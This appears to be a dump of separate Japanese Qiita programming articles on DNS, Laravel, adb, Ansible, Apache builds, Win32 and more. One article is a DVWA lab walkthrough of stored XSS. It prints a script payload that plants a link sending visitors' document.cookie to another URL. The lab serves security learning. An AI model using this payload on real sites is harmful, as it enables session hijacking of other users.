OmniAICreator/Qiita-1.07M huggingface dataset:
DNSについて

#DNSって？
・Domain Name System の略。
・ドメイン名をIPアドレスに変換する。（この事を名前解決と呼んだりする。）
・**ネームサーバ**と**フルリゾルバ**の２つから構成されている。
・また「ドメイン名とIPアドレスの紐付け」の事を**リソースレコード**と呼び、IPアドレス以外も管理している。

#ネームサーバ？
・ドメイン名とそれに紐づくIPアドレスが登録されているサーバー。
・ドメインの階層毎にネームサーバーが配置され、そのネームサーバーが配置された階層のドメインに関する情報を管理する。

#フルリゾルバ？
・クライアントから「ドメイン名に紐づくIPアドレスを教えて！」と問い合わせがあった際に各ネームサーバーに問い合わせてIPアドレスを調べて教えてくれるいいやつ。
・一度、アクセスしたドメインのIPアドレスはしばらくの間フルリゾルバがキャッシュして保存しておいてくれる。

![S__2555910.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588101/4ff1187d-2818-f544-8c78-9bee4dd96ee4.jpeg)

#リソースレコード？
|リソースレコードのタイプ|内容|
|:---|:---|
|Aレコード|ドメインに紐づくIPアドレス|
|NSレコード|ドメインのゾーンを管理するネームサーバー|
|MXレコード|ドメインに紐づくメール受信サーバー|
|CNAME|ドメインの別名でリソースレコードの参照先|
|SOA|ドメインのゾーンの管理情報|

>参考動画
>https://www.udemy.com/share/1022o6BEccdVtTTHo=/
response()->json() と return [a, b, c]のちがい



# Too Long; Don't Read

LaravelでのAPIレスポンスの書き方において、　　
以下の2つが同じ意味だと思っていた。


```php5

return response()->json(
    $response['error_message'],
    $response['status_code'],
    $response['example_text']
);

return [ 
    $response['error_message'],
    $response['status_code'],
    $response['example_text'] 
];
```

`json()の省略形が[]かな` くらいに思っていた。

それぞれの結果は以下。


```php

return response()->json(
    $response['error_message'],
    $response['status_code'],
    $response['example_text']
);

// Type error: Argument 3 passed to Illuminate\Routing\ResponseFactory::json() must be of the type array, string given, called in ~~~~

return [ 
    $response['error_message'],
    $response['status_code'],
    $response['example_text'] 
];

// { 'error_message', 500, 'example text' }
```

前者はエラーが起こっているのに対し、
後者は渡した内容をjson型にしている。

題目のresponse()->json() と return [a, b, c]のちがい
とは、この点になる。

後述するが、json()の引数はそれぞれ格納するものが決まっていて、第二引数以降にオプションを指定することができる。

そのため、
**ただjson型のデータを渡せば良い時**と、
**オプションを指定して受け取り手へ明示的に値を渡したい時**とで、使い分けると良い。

今回の場合は
**ajaxのdone(), fail() への振り分けを行いたかった**ことから、
**第2引数でHttpステータスを明示できるjson()の書き方を用い、**
以下の書き方に変更して無事解決。

```php
return response()->json(
    $response, 
    $response['status']
);
```





## 勘違いの要因

```php
return response()->json( ['a', 'b', 'c'] );
```
配列でjson()に渡すパターンとjson関数の仕様をごっちゃに覚えていたから。



## json( )の仕様
json()は`json_encode()`を内部で用いている。


```php
json_encode ( mixed $value [, int $options = 0 [, int $depth = 512 ]] ) : string
```
> value
> エンコードする値。 リソース 型以外の任意の型を指定できます。
>options
>JSON_FORCE_OBJECT, .....からなるビットマスク。

以降Arrayで渡す
>depth
最大の深さを設定します。正の数でなければいけません。



引数にはそれぞれ受け付ける型と意味が決まっているため、
Arrayで渡すべきところにStringを渡して、型エラーが出ていたのでした。



## 感想
調べているうちにAjaxのdone, fail の振り分けについても詳しくなれたので良かった。
Android でも Android アプリを開発したい（デバッグ編）

## はじめに

[Android でも Android アプリを開発したい](https://qiita.com/tacchi/items/ec63aa8bff5103982156)の続きです。
デバッグを行うためのツール、adb のインストールから実際に Android Studio を使ってデバッガを起動するところまでを記載します。

## 注意点

PCが一台必要です。Android 単体では実施できません。
今回は Windows を使った手順を紹介します。

Android はWifiでルータ等に繋がっている必要があります。

Ubuntu の画面表示には XSDL を使用している前提で記載しています。

## SDK Platform Tools のダウンロード

Windows で以下のサイトを開いて、SDK Platform Tools をダウンロードして解凍して下さい。

https://developer.android.com/studio/releases/platform-tools.html

解凍すると platform-tools フォルダに adb.exe ファイルがあるはずです。
後で adb.exe を使用します。

## USBドライバのインストール

Windows に USB ドライバをインストールします。
後で Windows と Android 端末を USB ケーブルで接続しますが、
Windows から Android 端末を認識するために USB ドライバを使用します。
Android 端末を開発している会社ごとにドライバーが異なるため手順を書ききれません。
丸投げになりますが、以下のサイトを参考にインストールしてください。

https://developer.android.com/studio/run/oem-usb

## USB デバッグの有効化をオンにする

Android 端末で開発者向けオプションをオンにしてから、USB デバッグの有効化をオンにします。
有効化するとデバッグモードで動作し、プログラムの途中で停止したりできるようになります。
Android 端末ごとに手順が違うので、書ききれないため以下のサイトを参考にして下さい。

https://developer.android.com/studio/debug/dev-options

## Ubuntu に adb のインストール

Android 端末で UserLAnd または Termux の Ubuntu を立ち上げて LXTerminal 等から以下のコマンドを実行して adb をインストールして下さい。

```sh

# adb を Ubuntu にインストール（Termux の場合は sudo は不要です。UserLAnd の場合は sudo が必要です。）
sudo apt install -y adb

# adb をコピーして Android Studio から使えるようにする
cp /usr/bin/adb ~/Android/Sdk/platform-tools/

```

## Android 端末をWifi経由でデバッグできるようにする

USB ケーブルで Windows と Android を接続して下さい。
ダイアログが出るのでOKボタンを押して下さい。

Windows マークを右クリックして「ファイル名を指定して実行」を選択してください。
名前 の入力欄に cmd と入力し Enter キーを押してコマンドプロンプトを立ち上げてください。

以下のように adb コマンドのある platform-tools ディレクトリまで cd コマンドで移動し、adb を使用して Android 端末にWifi経由で接続できるようにしてください。

```sh

# D:\platform-tools_r29.0.6-windows\ に platform-tools がある場合。ご自分の指定した解凍先に合わせて適宜読み替えて下さい。
cd D:\platform-tools_r29.0.6-windows\platform-tools

# Android 端末をWifi経由で接続できるように設定する
adb tcpip 5555

```

adb を実行し「restarting in TCP mode port: 5555」と出たら USB ケーブルを外して下さい。
ここで行った設定は Android を再起動するまで有効になります。

## デバッガの実行

Ubuntu のデスクトップ環境を立ち上げ、それから Android Studio を立ち上げます。
（もし既に Android Studio を立ち上げてあった場合には一旦、終了してから立ち上げ直して下さい。）
メニューの下のコンボボックスの中に Android 端末名が出ていたら成功です。デバッグが可能な状態になっています。

実際にデバッガを試してみましょう。

まず適当にプロジェクトを生成したら、MainActivity.java を開いて下さい。
onCreate メソッドが見えるはずです。
メソッド内の1行目、super.onCreate～ と書かれている行、の左側の行番号の書かれている箇所の右側をクリックして下さい。丸が付いたでしょうか。この丸の位置で実行中のプログラムを一時停止しします。

続いてメニュー下の Android 端末名の4つ程右側のボタンに虫のような形をしたものがあります。その虫ボタンを押して下さい。 
しばらく待つと、アプリが立ち上がり、Waiting For Debugger と出ます。
この時に Force Close は押さないで下さい。

Android の通知領域を開いて XServer XSDL is running をクリックします。（右側の Stop は触れないように気をつけて下さい）
Android Studio に戻り、しばらく待っていると Waiting For Debugger が自動的に消えてデバッグを開始します。
先程、丸を付けた行で停止しているはずです。

以上でデバッグを行うことが出来るようになります。
エミュレータが不要なのは利点と言えるかもしれません。
周りに質問できる人がいなくて困った場合の便利サービス６選

プログラミングを勉強していると、質問できる環境がなくて困る場面が多々あるかと思います。
経験者に質問をすれば、瞬時に解決できるエラーでも、初学者の場合丸一日かけても解決せずに、
挫折してしまうことも・・・・・:sleepy:

そこで、私が普段利用している5つのサービスをご紹介させて頂きたいと思います:point_up:

---
#①teratail
HP:https://teratail.com/
<img width="327" alt="スクリーンショット 2020-02-26 23.14.23.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/592016/d5758ba5-4013-5558-ce22-116778597ba6.png">
一言でいうと、エンジニア版のYahoo知恵袋です。
いままで数十回質問をさせていただきましたが、返答がなかったことはありません:relaxed:

---
#②Udemy
HP：https://www.udemy.com/

<img width="211" alt="スクリーンショット 2020-02-26 23.15.07.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/592016/b85eb694-f34b-0f69-fe59-afcce9bc9acd.png">

オンライン動画学習教材です。購入した動画について無制限で質問することができます。
定期的にセールで9割引きになるので、そのタイミングを狙って購入するのがオススメです:ok_hand:

---
#③TechPit
HP：https://www.techpit.jp/

<img width="270" alt="スクリーンショット 2020-02-26 23.16.24.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/592016/d2ad7660-211d-9c73-a771-6a87d7baedc9.png">

オンライン学習教材です。購入した動画について無制限で質問することができます。
インスタ風サイトやTinder風マッチングサイトを作成することができます:v:

---
#④オンラインサロン
<img width="286" alt="スクリーンショット 2020-02-26 23.28.05.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/592016/19955556-7db2-0573-e59e-b3f44856fb8a.png">

私が、参加している勝俣健太様@poly_softの雑食系エンジニアサロンでは、
質問チャンネルがあります。
初心者向け質問チャネルがあるので、気兼ねなく質問できます:relaxed:

---
#⑤もくもく会に参加する
<img width="200" alt="スクリーンショット 2020-02-26 23.29.12.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/592016/c0772c8f-99cd-c5ce-f7b3-4ced4e596450.png">

私は、定期的にもくもく会に参加するようにしています。
人脈も構築できますし、家で集中できない人もガッツリ集中できますね:clap:
作業中はslackをモニターに投影していることもあるので、
質問がしづらい時はslackを投げることもできます:clap:

---
#⑥MENTA　
<img width="174" alt="スクリーンショット 2020-02-26 23.25.33.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/592016/df33aed8-4f9d-06a6-3a06-5644819c8db7.png">


HP:https://menta.work
　私は利用したことはありませんが、有料でメンターを探すことができるサービスです。
　困った時に相談できるメンターをつけて学習効率を上げることができます:relaxed:

---

#最後に
いかがでしたでしょうか？有料・無料問わず様々な方法がありますね〜
質問をすることはとてもよいことですが、丸投げの質問は回答者目線がなくNGです。
※エラーがでました。どうすればいいでしょうか？等
自分でググったり、開発環境や試したことを記載して、
回答者が回答しやすい質問をこころがけましょう:relaxed:
コードヘルス - コミットメッセージとバグレポートでコンテキストを提供しよう

*この文書は[Code Healt: Providing Context with Commit Messages and Bug Reports](https://testing.googleblog.com/2017/09/code-health-providing-context-with.html)の翻訳です。*

罠にかかった。訳がわからない仕掛けに取り囲まれている。必死に手がかりを探し、製作者の当初の計画を見つけ出した！この罠を生み出した作業指示書にはこう書かれている、「各種の修正」。なんてこった。

他のエンジニアのコードを読むことはときに考古学的遠征に似て、奇妙ですばらしい記述に満ちている。 **コードは常にある目的を持って書かれている。しかし、その目的がコード自体を見ただけでは不明瞭なことも少なくない。** このナレッジギャップには、なぜこのチェンジ[^1]が必要なのかを説明したコンテキストを文書化することで取り組むことができる。コードコメントもコンテキストを提供するが、コメントだけでは十分でないこともある。

コンテキストを示すには2つの鍵になる方法がある:

## コミットメッセージ

- **コミットメッセージは最も簡単で最も見つけやすく**コンテキストを提供する方法である。不明瞭なコードに出会ったとき、そのコードが導入されたときのコミットメッセージを確認することは、そのコードが何を意図しているのかに関するより多くの洞察を得る素晴らしい方法である。

- **コミットメッセージの最初の行を独立しているように書くこと。** GitHubのようなツールはコミットリストページで最初の行を表示する。独立した最初の行によってコード履歴をより早く掴むことができ、ソースファイルがどのように時間とともに変遷したのかを素早く理解することができる。


### 例

```
Add Frobber to the list of available widgets.

This allows consumers to easily discover the new Frobber widget and
add it to their application.
```

## バグレポート

- **バクレポートを使うことによってバグ/機能/リファクタリングの全体ストーリーを追跡することができる。** オリジナルの障害の記述といったコンテキストや、チーム内でのデザインディスカッション、障害を解決するためのコミットなどが、バグレポート[^2]には追加されていく。すべての関連するコミットを一箇所で見ることを容易にし、他者からも特定の問題のステータスを容易に追跡することが可能になる。

- **ほとんどのコミットはバグレポートを参照するべきだ。** ただし、単独のコミット（例えば、1回きりのクリーンナップや小さな計画外の変更など）には、ソースチェンジとそのデスクリプションにそれ自体のコンテキストはすべて含まれているため、バグレポートは不要である。

**情報豊富なコミットメッセージとバグレポートを協調させよう。** それらは異なった観点からコンテキストを提供する。**そういったコンテキストは君自身にも有益だ**ということを心に留めよう。それらによって、君が先週、先クォーター、さらには昨年した仕事を簡単に思い起こすことができる。未来の君は過去の君に感謝するだろう！

[^1]: GoogleではいわゆるPRにあたるものをchange list (CL)あるいは単にchangeといいます。
[^2]: 必ずしもバグに限ったものではなく、GitHub IssuesやJIRAのようなチケット管理システムを指します。
Facebookページのフィードを画像付きで取得する方法【API ver.5】

仕事で時々「Facebookページの投稿内容を表示させたい」という要望をもらうことがあるので、表示方法をメモしておきます。

#準備しておくこと

- Facebookのデベロッパー登録（Facebookアプリを作成するのに必要）
- フィード取得したいFacebookページの権限（受託等で企業サイトのfbページフィードを作る場合は『アナリスト」』の権限でいいのでもらってください）

#取得するFacebookページ用のアプリを作成する

facebook for deveroper サイトでアプリを作成します。
https://developers.facebook.com/

サイト右上の「マイアプリ」の「アプリの作成」から作成していきます。

#GraphAPI（グラフAPI）アクセストークンを取得する

フィードを取得するのに必要なアクセストークンを取得します。
普通に作成すると有効期限付きアクセストークンになってしまうので、無期限のアクセストークンを作成する必要があります。

アプリの作成から、無期限のアクセストークン取得は以下のサイトがとてもわかりやすいので割愛します。
https://illbenet.jp/view/96

#jQueryでフィードを取得、表示

```index.html
<ul id="feed"></ul>
```

```function.js
jQuery(function($){
	//fbフィード
	$.ajax({
		type: 'GET',
		url: 'https://graph.facebook.com/v5.0/＜ページID＞/feed?fields=id,message,full_picture,created_time&access_token=＜アクセストークン＞',
		dataType: 'json',
		success: function(json) {
			// 成功処理
			var display_cnt = 3; //表示件数
			var container = '';
			var id;
			var url;
			var time;
			for (var i=0; i<=(display_cnt-1); i++) {
				var obj = json.data[i];
				console.log(JSON.stringify(obj));
				//リンク先を取得
				id = obj.id;
				url = 'https://www.facebook.com/'+id.replace(/_/g,"/posts/");
				var pic = obj.full_picture;
				//時間を作成
				time = obj.created_time;
				time = time.substring(0,10);
				time = time.replace(/-/g,".");

				container += '<li><a target="_blank" href="'+url+'"><figure><img src="'+pic+'" /></figure><span class="date">'+time+'</span><span class="title">'+obj.message+'</span></a></li>';
			}
			$('#feed').append(container);
		},
		error: function() {
			// 失敗処理
		}
	});
});
```

画像付きでフィードを表示する場合、`fields=id,message,full_picture,created_time` という感じで `full_picture`を含める必要があります。
リモートリポジトリからソースを取得する

<h1>これだけ！</h1>
GitHubを用いた~~擬似的なチーム開発を目論む~~ 練習のため、リモートリポジトリからソースを取得してローカル上で確認をするまでの流れを確認。

**①リモートリポジトリのURL取得**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/481718/45407d22-8669-9a35-0898-d80b2e5aa693.png)

赤で囲んだところをポチポチしてコピー完了！


**②git clone コマンド**
git clone < clone url >
を実行して、

```
$ git clone https://github.com/mst141/AdjusTime.git
Cloning into 'AdjusTime'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 2), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (7/7), done.
```

これでローカルに持ってこれたので、ディレクトリも移動して確認してみます。

```
$ cd AdjusTime

$ ls
AdjusTime/

$ git remote -v
origin  https://github.com/mst141/AdjusTime.git (fetch)
origin  https://github.com/mst141/AdjusTime.git (push)
```

フェッチのURLとプッシュのURLも無事に表示されました。めでたしめでたし。

<h1>まとめ</h1>
Gitみたいなバージョン管理システムは、自分の中で図示というかイメージが理解できてないと知識同士が結びつきにくい印象があります。~~(Linux然りですが、都度ググらないといけないくらい頭に入ってこない悲しみがある。)~~でも、コマンド打つの楽しい！笑
ansibleで実行できた！と実感できるまで

#ansibleを利用して実行環境を設定
Ansibleを使えた！と思うまでかなり時間がかかったので、環境構築を共有したいと思います。
概要
1.コントロールノードと、ターゲットノードの作成
2.コントロールノードにAnsibleのインストール
3.インベントリファイル作成
4.アドホックコマンドで疎通確認

##asnible簡単な実行環境設定
ec2-userでsshログイン

```:macbook作業
$ cd ~/.ssh
$ ssh -i "ansible-key.pem" ec2-user@13.114.50.230
```

ansibleのインストール

```ansible:ec2-user/home
$ sudo yum update
$ sudo yum -y install python-devel openssl-devel gcc git
$ sudo easy_install pip
$ sudo pip install ansible
$ ansible --version
```

コントロールサーバの`.ssh`ディレクトリ内の`authorized_keys`の権限を変更

```ansible:ec2-user/home/
$ $ chmod 600 ~/.ssh/authorized_keys
```

EC2を作成時に利用するキーを指定し、秘密鍵がパソコンにあると思うので、macからコントロールノードにsshキーを渡す。

```:macbook作業
$ scp -i ~/.ssh/ansible-key.pem ~/.ssh/ansible-key.pem <user名>@<host名>:/home/ec2-user/.ssh/
```
コントロールノードにログイン後リモートノードにssh接続ができるか確認

```:ec2-user/home/.ssh
$ ssh -i "ansible-key.pem" ec2-user@13.115.139.232
```

作業ディレクトリの作成 ※ここで`ansible`コマンドは実行します。

```:ec2-user/home
$ mkdir ~/ansible/inventory
$ cd ~/ansible/inventory

```
インベントリファイルの`hosts`を編集

```:ec2-user/home/ansible/inventory
$ sudo vim hosts  #インベントリファイルの作成
```

```:hostsの中身
[client_node]
Clinet01 ansible_ssh_host=54.250.190.241　#targetノードのIPアドレス
 
[client_node:vars]
ansible_ssh_user=ec2-user
ansible_ssh_private_key_file=/home/ec2-user/.ssh/ansible-key.pem
```
アドホックコマンドの`ping`を利用して疎通確認。
>アドホックコマンドは、めったに繰り返さないタスクに最適です。たとえば、クリスマス休暇のためにラボのすべてのマシンの電源をオフにしたい場合、プレイブックを作成せずにAnsibleで簡単なワンライナーを実行できます。アドホックコマンドは次のようになります。
$ ansible [pattern] -m [module] -a "[module options]"


[pattern]にはどのフォルダのどのファイルのどのグループを指定するかを書く
```:ec2-user/home/ansible
$ ansible -i invenrory//hosts client_node -m ping
 [WARNING]: Platform linux on host Clinet01 is using the discovered Python
interpreter at /usr/bin/python, but future installation of another Python
interpreter could change this. See https://docs.ansible.com/ansible/2.8/referen
ce_appendices/interpreter_discovery.html for more information.

Clinet01 | SUCCESS => {
    "ansible_facts": {
        "discovered_interpreter_python": "/usr/bin/python"
    }, 
    "changed": false, 
    "ping": "pong"
}
```
これでコントロールノードから、ターゲットノードにつながりました。
DVWAでXSS(stored)

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- xssでセッションを奪取する

## 手順概要
- xssの可否チェック
- cookieが取れるか確認する
- 別のドメインへcookieを飛ばす

## 内容
### xssとは
- クロスサイトスクリプティングの略称
- scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
- 今回の場合は投稿データにスクリプトを埋め込み。サイトに不正なリンクを設置する

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- XSS(stored)にアクセスする（左メニューにある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/76ae6fd3-1fdd-ed0c-75c2-5e415af2b1b5.png)


### XSS開始

- 挙動を確認する
    - Nameにはあまり文字数がはいらない
    - MessageにHTMLを埋め込んでみる（下記参照）
    - どうやらhtmlをそのまま読み込んでいるみたい

```html:
#start
<h1>heading1</h1>
#end
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/3ac313f7-73b5-3438-4522-90e6c0fcf0f2.png)


- スクリプトで悪いことする
    - 下記スクリプトを淡々と埋め込む。
    - cookie関係のスクリプトは（https://qiita.com/KPenguin/items/983348dace1527ef9963  ）を参照。
    - 埋め込み終えると、ヘルプボタンを設置できた（以下画像）。
    - このメッセージは全ユーザーが見れるようにDBに登録されるので、表示したユーザー全員にヘルプボタンが表示されるようになる。

```html:
<!-- 変数設定-->
<script>d=document;k=d.cookie;c="click"</script>
<script>u="http://localhost?k="+k;</script>
<!-- アンカータグ作成-->
<script>a=d.createElement("a")</script>
<script>a.href=u;a.innerText="ヘルプ"</script>
<!-- 埋め込み先指定-->
<script>p=d.getElementsByTagName("table")</script>
<!-- 埋め込み-->
<script>p[0].appendChild(a)</script>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/007bf0d8-69ea-e93c-8c71-e429af148bc5.png)


-  純粋な気持ちで「ヘルプ」押してみる
    -  別のサイトに飛んでしまった。しかもcookie付きで

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/f0560f5a-6e54-5b6d-0831-178d900d825a.png)


おわり
【DX】Ryzen9 3950Xは開発体験をどれほど向上させるか

# Ryzen9 3950Xは開発体験をどれほど向上させるか
## はじめに
AMD Ryzenの登場により、それまでIntel寡占状態だったCPU業界の動きがかなり激しくなっています。僕も先日「AMD Ryzen9 3950X」搭載のデスクトップPCを購入しました。
「AMD Ryzen9 3950X」はメインストリーム向けCPUとして、世界初の16コア32スレッドCPUです。そんな驚異的な性能でどのくらい開発体験が向上するかを検証していきたいと思います。

## 比較環境
パッと思いつく検証方法がなかったのでReactのbuild時間を計測することにしました。
自作PCにはmacOSを搭載することができないのでUbuntuOSを利用しています。

### 検証PC
| PC  | CPU | OS   | Memory |
| --- | --- | ---- | ------ |
| iMac 2019        | Intel(R) Core(TM) i5-8500 CPU @ 3.00GHz | macOS 10.15.3 | 40GB |
| MacBook Pro 2017 | Intel(R) Core(TM) i7-7660U CPU @ 2.50GHz | macOS 10.15.3 | 16GB |
| Ryzen9 3950X PC  | AMD Ryzen™ 9 3950X | Ubuntu 18.04 | 32GB |


### ビルド対象
| 項目 | 値 |
| --- | --- |
| 言語 | JavaScript |
| フレームワーク | React |
| bundler | webpack |
| Node Version| 10.16.3 |
| ファイル数 | 1404 |
| 行数 | 133363 |

## 結果

### Development Build
まずは`Development Build`で検証します。
以下のコマンドを実行したときにブラウザでロードされるまでの時間をキャッシュ有(1回目)とキャッシュ無(2回目)計測します。

```shell
$ yarn start
```
- キャッシュ無

| PC  | Time |
| --- | ---- |
| Macbook Pro | 4:01.04 |
| iMac        | 1:01.53 |
| 3950x PC    | 0:42.63 |


- キャッシュ有

| PC  | Time |
| --- | ---- |
| Macbook Pro | 1:44.14 |
| iMac        | 0:41.78 |
| 3950x PC    | 0:30.82 |


### Production Build
つぎに`Production Build`で検証します。
以下のコマンドを実行したときにbundleファイルが生成され終わるまでの時間を計測します。

```shell
$ yarn build
```

| PC | 1回目 |
| --- | --- | --- | --- | --- | --- | --- |
| Macbook Pro | 4:40.63 |
| iMac        | 2:32.74 |
| 3950x PC    | 1:42.44 | 


## まとめ
じつはこの3台、購入時期は差があるものの値段的にはあまり差がありません。
OSは違えどRyzenのコストパフォーマンの高さがうかがえますね。

そもそもデスクトップPCとノートパソコンではCPUの設計が異なります。型番の最後に"U"がつくとそれはモバイル用に設計された省電力CPUなのであまりパフォーマンスがでません。そのぶんMacBookProは持ち運ぶことができますが。

1日に2回キャッシュ無、10回キャッシュ有ビルドをした場合、
最速のRyzenとMacBookでは一日あたり20分、一年で120時間の差にになります。
それ以外の差も含めるともっと差がでることになります。

ゲーム業界やデザイン業界だけでなく、デベロップ環境でもAMDの勢いを感じることができました。
AMD最高です。
インフラ知識低のレイヤから勉強（０１）

初めまして、潔（日本語の名）と申します。インフラ部は知識がありますが、バラバラです。具体的から勉強したことがありません。仕事の職場では大変ことがあります。考えているのはITエンジニアなら、インフラのことが知った方はいいともいますので、インフラの知識を調べて、メモを記入します。大先輩のオススメは低のレイヤの勉強から始まることです。下記の順番に記入する予定です。

####一段階####
#####1. Apacheをソースコードからコンパイルおよびインストール#####
#####2. PHPをSource Codeからコンパイルおよびインストール#####
#####3. MySQLをソースコードからコンパイルおよびインストール#####
#####4. PHP FrameworkをInstall#####

####二段階####
#####1. Apache、MySQL、PHPのインストール#####
#####2. PHP FrameworkをInstall#####

####三段階####
#####1. Dockerのインストール#####
#####2. Apache + PHP Containerの構築#####
#####3. MySQL Containerの構築#####
#####4. PHP FrameworkをInstall#####

####四段階####
#####1. KubernetesでPHP/MySQL Webをデプロイしてみます#####

じゃあ、上から最後まで進めていきましょう。

最初は環境を準備しなければならない。Vagrantをきめます。

■　Vagrant環境を準備

```ruby
vagrant up
vagrant ssh
```
さて、Vagrant環境で操作していきます

■　Apache HTTP Server 2.4.34のソース展開

方法＃１：サイトからプルしていきます

```ruby
cd /usr/local/src
sudo wget http://www-us.apache.org/dist/httpd/httpd-2.4.34.tar.gz
sudo gzip -d httpd-2.4.34.tar.gz
sudo tar xvf httpd-2.4.34.tar
```

方法＃２：Apacheのダウンロードのページにアクセスして、リンクをクリックします

リンク：https://httpd.apache.org/download.cgi

```ruby
vagrant ssh
cd /var/www/devOps
sudo cp httpd-2.4.34.tar.gz /usr/local/src
cd /usr/local/src
tar zxvf httpd-2.4.34.tar.gz
```

■　APR と APR-Utilの準備
[Apache Portable Runtime](http://apr.apache.org/download.cgi)のページにアクセスして、
・apr-1.5.2.tar.gz
・apr-util-1.5.4.tar.gz
をダウンロードします

```ruby
cd /usr/local/src
sudo wget https://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
sudo gzip -d apr-1.5.2.tar.gz
sudo tar xvf apr-1.5.2.tar
# 展開したディレクトリをApacheのsrclibディレクトリにコピー。
sudo cp -Rp apr-1.5.2 httpd-2.4.34/srclib/apr


sudo wget https://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
sudo gzip -d apr-util-1.5.4.tar.gz
sudo tar xvf apr-util-1.5.4.tar
# 展開したディレクトリをApacheのsrclibディレクトリにコピー。
sudo cp -Rp apr-util-1.5.4 httpd-2.4.34/srclib/apr-util
```

■ configure実行

```ruby
cd httpd-2.4.34
sudo ./configure
```
■ make・make installを実行します

```ruby
sudo make
sudo make install
```

**注意**：インストールするときエラー

１。APRのインストールしていない

```ruby
checking for APR... no
configure: error: APR not found.  Please read the documentation.
```
解決方法

```ruby
APRのインストールしていきます
cd /usr/local/src
sudo wget https://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
sudo gzip -d apr-1.5.2.tar.gz
sudo tar xvf apr-1.5.2.tar
# 展開したディレクトリをApacheのsrclibディレクトリにコピー。
sudo cp -Rp apr-1.5.2 httpd-2.4.34/srclib/apr
```

２。Perl-Compatible Regular Expressions Library(PCRE)をインストールしていない

```ruby
checking for pcre-config... false
configure: error: pcre-config for libpcre not found. PCRE is required and available from http://pcre.org/
```

解決方法＃１
・pcre.orgサイトからpcreをダウンロードします
・プレフィックスをつけてコンパイルして、インストルします

```ruby
vagrant ssh
cd /usr/local/src/
cd pcre.8.39
sudo ./configure --prefix=/usr/local/pcre
sudo make
sudo make install
```
・Apacheがインストールされているところで、pcreをつ使用してApacheをコンパイルします

```ruby
cd http httpd-2.4.34
sudo ./configure --with-pcre=/usr/local/pcre
sudo make make install
```

解決方法＃２
pcre-develをインストルするだけでした

```ruby
# Fedora Linux
yum install -y pcre-devel
```

解決方法＃３
RHEL3では、pcre-configを指します。

```ruby
./configure --prefix=/usr/local/apache2 --with-pcre=/usr/local/pcre
```


これでApacheのインストールが完了しました。

*次にいきましょう！*
Win32 APIでListViewに背景画像を付けようとしたときに気付いた事

Win32 APIでListViewに背景画像を付ける際にはSendMessageでListViewのウインドウハンドルに [LVM_SETBKIMAGE](https://docs.microsoft.com/en-us/windows/win32/controls/lvm-setbkimage) を送ります。その設定で試行錯誤した箇所です。
*透過対応について間違った部分があったので追記しました。*

# 1. LVBKIF_SOURCE_HBITMAP は使えない
[LVBKIMAGEW](https://docs.microsoft.com/en-us/windows/win32/api/commctrl/ns-commctrl-lvbkimagew)の ulFlags にLVBKIF_SOURCE_HBITMAP を設定し hbm に画像のHBITMAPを設定すれば、ListViewの背景にその画像が表示されますが、**表示が崩れる** ので使い物になりませんでした。
その他の特徴は多分、2.の LVBKIF_SOURCE_URL とほぼ同じだと思います。

透明・透過に対応しておらず、**透明部分が白く**なってしまいます。
ビットマップが乗算済みアルファの場合は透明部分が黒くなりました。

# 2. LVBKIF_SOURCE_URL はそこそこ使える
[LVBKIMAGEW](https://docs.microsoft.com/en-us/windows/win32/api/commctrl/ns-commctrl-lvbkimagew)の ulFlags にLVBKIF_SOURCE_URL を設定し pszImage に画像のパス、cchImageMaxにその長さを設定すれば、ListViewの背景にその画像が表示されます。
`file:///C:/image/bg.png`みたいなURLだけでなく、普通のファイルパス`C:\image\bg.png`みたいなものでOKでした。
また、[data URI scheme](https://ja.wikipedia.org/wiki/Data_URI_scheme)にも対応しているので、ファイル無しでも、パスにdata URI schemeを渡してあげればOKです。
*※data URI schemeは`data:image/png;base64,データ` みたいにパスに直接Base64でデータを書く方法です。*

LVBKIF_STYLE_TILEを指定すると 同じ画像を上下にタイル状に並べて表示できます。
LVBKIF_STYLE_TILEを指定していない場合は ListView に合わせて画像もスクロールします。
指定した場合は 背景画像は固定されます。*(Windows XPを除く)*

LVBKIF_SOURCE_URL にも問題点が一つありました。
透明・透過に対応しておらず、**透明部分が黒く**なってしまいます。

# 3. LVBKIF_TYPE_WATERMARK は透明・透過に対応
[LVBKIMAGEW](https://docs.microsoft.com/en-us/windows/win32/api/commctrl/ns-commctrl-lvbkimagew)の ulFlags にLVBKIF_TYPE_WATERMARK を設定し hbm に画像のHBITMAPを設定すれば、ListView の背景にその画像が表示されます。
2.の LVBKIF_SOURCE_URL と違ってListViewの右下が画像の右下とぴったりくっつきます。
右下はListViewのデータが被りにくい部分なので逆にメリットかもしれません。
また、タイル状に並べて表示できません。

透明・透過に対応する場合は、LVBKIF_FLAG_ALPHABLEND を指定してhbm に乗算済みアルファ (premultiplied alpha)のデータを使います。

